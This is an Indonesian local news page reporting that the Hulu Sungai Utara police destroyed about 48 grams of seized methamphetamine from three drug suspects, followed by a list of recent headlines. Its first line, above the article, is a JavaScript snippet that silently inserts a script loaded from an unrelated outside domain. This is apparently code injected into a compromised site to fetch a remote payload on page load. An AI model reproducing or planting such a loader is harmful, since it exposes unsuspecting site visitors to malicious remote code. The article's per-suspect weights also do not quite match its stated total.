(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

48 Gram Sabu Dimusnahkan Polres HSU, Kasus Narkoba dari Tiga Tersangka


KANALKALIMANTAN.COM, AMUNTAI – Kepolisian Resor Hulu Sungai Utara (HSU) memusnahkan barang bukti kasus narkoba jenis sabu sebanyak 84 paket dengan berat bersih 48,05 gram yang dihancurkan dengan proses blender di Mapolres HSU, Kamis (25/1/2024) siang.

Puluhan paket barang bukti tersebut merupakan hasil dari pengungkapan kasus narkoba yang melibatkan tiga tersangka dan lokasi berbeda oleh Satresnarkoba Polres HSU.

Tersangka pertama berinisial RA alias Amat Makibao warga Desa Rantawan RT 001 Kecamatan Amuntai Tengah dengan barang bukti sabu 7, 00 gram di kediamannya pada 31 Desember 2023.

Baca juga: Cari Barang Bekas Malah Curi HP dan Gerinda di Banjarbaru, MA Ditangkap di Banjarmasin

Tersangka kedua berinisial IM alias Caper warga Kelurahan Harapan Baru Kecamatan Loa Janan Ilir Kota Samarinda Kalimantan Timur yang diketahui tinggal di Desa Tangga Ulin Hilir RT 004 Amuntai Tengah sebagai kurir dengan barang bukti sabu 10 gram.

Tersangka ketiga Rahmadi warga Desa Paminggir Kecamatan Paminggir Kabupaten HSU dengan barang bukti berhasil diamankan 75 paket sabu seberat 31,15 gram yang ditangkap 18 Januari 2024 lalu.

Pemusnahan barang bukti dipimpin langsung Kapolres HSU, AKBP Meilki Bharata, turut disaksikan Kejaksaan HSU, Kepala BNNK HSU, Agus Rahman, Kepala PN Amuntai, Kasat Narkoba AKP Sutargo, serta penasehat hukum tersangka.

Baca juga: Saidi Mansyur Resmikan Empat Layanan Kesehatan di RSUD Ratu Zalecha

Kapolres HSU, AKBP Meilki Bharata, berpesan kepada masyarakat agar bagi pemakai, penjual maupun pembeli narkoba untuk berhenti.

“Berhentilah membeli narkoba, berhentilah memakai narkoba dan berhentilah jual narkoba. Jadikan wilayah HSU ini menjadi wilayah yang bebas narkoba,” pesan Kapolres.

Baca juga: Sekda HSU Apresiasi Program Baznas, Beasiswa hingga Bantuan Modal Usaha

Kapolres memastikan bersama pemerintah daerah, BNN Kabupaten, Kejaksaan dan Pengadilan Negeri merumuskan program yang tepat untuk pencegahan pemberantasan penyalahgunaan dan peredaran gelap narkotika di Kabupaten HSU dapat tercapai. (Kanalkalimantan.com/dew)

Reporter : dew

Editor : bie


Muhammad Andi

Recent Posts

Sempat Sengat Pelajar Madrasah, Sarang Tawon Dalam Kelas Dievakuasi Damkar HSU

KANALKALIMANTAN.COM, AMUNTAI - Khawatir membahayakan para pelajar, sarang tawon berukuran sedang berhasil dievakuasi petugas Pemadam… Read More

2 jam ago

Peningkatan Kapasitas Anggota BPD, Ini Kata Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai penting peranan… Read More

2 jam ago

Dua Raperda Disahkan, Ketua DPRD: Payung Hukum yang Jelas Bagi Cagar Budaya di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dua buah Rancangan Peraturan Daerah (Raperda) Kota Banjarbaru disahkan dalam rapat paripurna… Read More

4 jam ago

Ibu Ruli Terima Kursi Roda Bantuan Polsek Banjarbaru Utara

KANALKALIMANTAN.COM, BANJARBARU - Bentuk kepedulian terhadap masyarakat, Unit Binmas Polsek Banjarbaru Utara memberikan bantuan sebuah… Read More

7 jam ago

Ini Alasan Pemko Banjarbaru Larang Peternakan Babi Ada di Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More

8 jam ago

Habisi Nyawa Sesama Sopir di Banjarmasin, ARM Ditangkap di Kandangan

KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More

9 jam ago

This website uses cookies.